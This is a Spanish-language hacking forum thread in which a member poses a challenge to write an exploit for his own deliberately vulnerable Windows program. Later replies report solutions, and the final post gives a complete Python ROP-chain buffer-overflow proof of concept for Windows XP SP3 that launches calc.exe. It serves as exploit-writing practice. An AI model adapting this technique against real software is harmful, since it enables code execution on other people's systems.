Reto Genera Tu Exploit!

Iniciado por Muppet, Octubre 11, 2012, 05:49:45 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Octubre 11, 2012, 05:49:45 PM Ultima modificación: Enero 19, 2016, 12:19:06 AM por hdbreaker
Bueno Me hice un tiempo lejos de la Facultad y se me dio por Programar este Pequeño Reto.
Se Trata de Generar un Exploit Propio para mi Aplicaccion.

Que es un Exploit?

Exploit (del inglés to exploit, explotar o aprovechar) es crear una pieza de software, o una secuencia de comandos con el fin de causar un error o un fallo en alguna aplicación, a fin de causar un comportamiento no deseado o imprevisto en este y lograr ejecutar codigo Arbitrario. Lo Cual el Programa Original no Estaba Destinado a Lograr.

Aca el Link de la Aplicacion: (Actualizado)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Un Pantallazo para que vean q es vulnerable:



Reglas:
1- Postear un Pantallazo de una Aplicacion q se ejecuta con el Exploit Tapando el Codigo Mostrado en Consola.
2- Mandarme por MP el Script con el q desarrollaron el Exploit para corroborar q realmente explotaron el fallo y no se bajaron algun code de Internet.
3- No den Pistas, y por favor no Publiquen la Solucion hasta q de por Concluido el Reto.


Se tomara en Cuenta a los 5 Primeros q Resuelvan el Reto:


1°  Snakingmax
2°  Erroneo0 Excelente aplicación de Ret2Libc en win!




Entonces él dijo, "cruzad con vuestras tropas y atacad porque es lo único que le queda a nuestro pueblo...".

Noviembre 24, 2012, 02:03:27 PM #1 Ultima modificación: Noviembre 24, 2012, 03:07:34 PM por snakingmax
Ya que nadie lo resuelve os envío mi solución rápida y chapucera hardcodeando direcciones  ;D



La shellcode del exploit lanza el cmd.exe de windows tal y como se puede ver en la imagen.

Modifico el post para dar la solución ejecutando calc.exe:


llegue tarde :( podría alguien resubirlo aun que sea como entretenimiento. thx

Ya le avise a HD_Breaker para que lo resuba. Se va a fijar si lo tiene en su pc y sino lo volvera a crear! Asique cuenten con el reto!

Saludos!
ANTRAX


thx aunque ahora es un poco tarde para ponerme mañana lo miro :)

no me entra el rop :(, y me toca hacerlo a mano por lo que tardare un poco mas :/. y hay pocas dll por lo que la búsqueda se me complica  un poquito XD. eso sumado a que el stack es poco pequeño ...

Han pasado 6 años y tan solo dos participantes han entregado una solución, por lo cual he decidido publicar la mía por si alguien le puede mejorar y así aprendemos todos. El tamaño del payload es de 80 bytes existiendo un límite de 175 caracteres permitidos para poder realizar un BoF normal en vez de un BoF SEH (el cual en mi sistema no pude encontrar ROP Gadgets que permitieran saltar de SEH a nSEH con DEP activado).

Imágenes

Ejecución de la calculadora


Ejecución de CMD

PoC programado en Python
Código: python
# Operating system = Microsoft Windows XP Profesional Version 2002 Service Pack 3
# Language         = Spanish
# Author           = UND3R
# Size             = 80 bytes
# WinExec(calc, -1)

import struct
from struct import pack

junk = 'A' * 44
eip = pack("<I",0x7c91120f) # ntdll.dll | RETN
rop1 = pack("<I",0x7c912486) # ntdll.dll | POP EDI / RETN
rop2 = pack("<I",0x7c91120f) # ntdll.dll | RETN
rop3 = pack("<I",0x7c911d52) # ntdll.dll | POP ESI / RETN
rop4 = pack("<I",0x7c8623ad) # kernel32.dll | WinExec
rop5 = pack("<I",0x7c80dfdd) # kernel32.dll | POP EBX / RETN
rop6 = pack("<I",0xffffffff)
rop7 = pack("<I",0x7c95d22b) # ntdll.dll | PUSHAD / RETN
rop8 = 'calc'

payload = junk + eip + rop1 + rop2 + rop3 + rop4 + rop5 + rop6 + rop7 + rop8

f = open('config.txt', 'w')
f.write(payload)
f.close()


Espero que les haya gustado mi ROP Gadgets, saludos

.:UND3R:.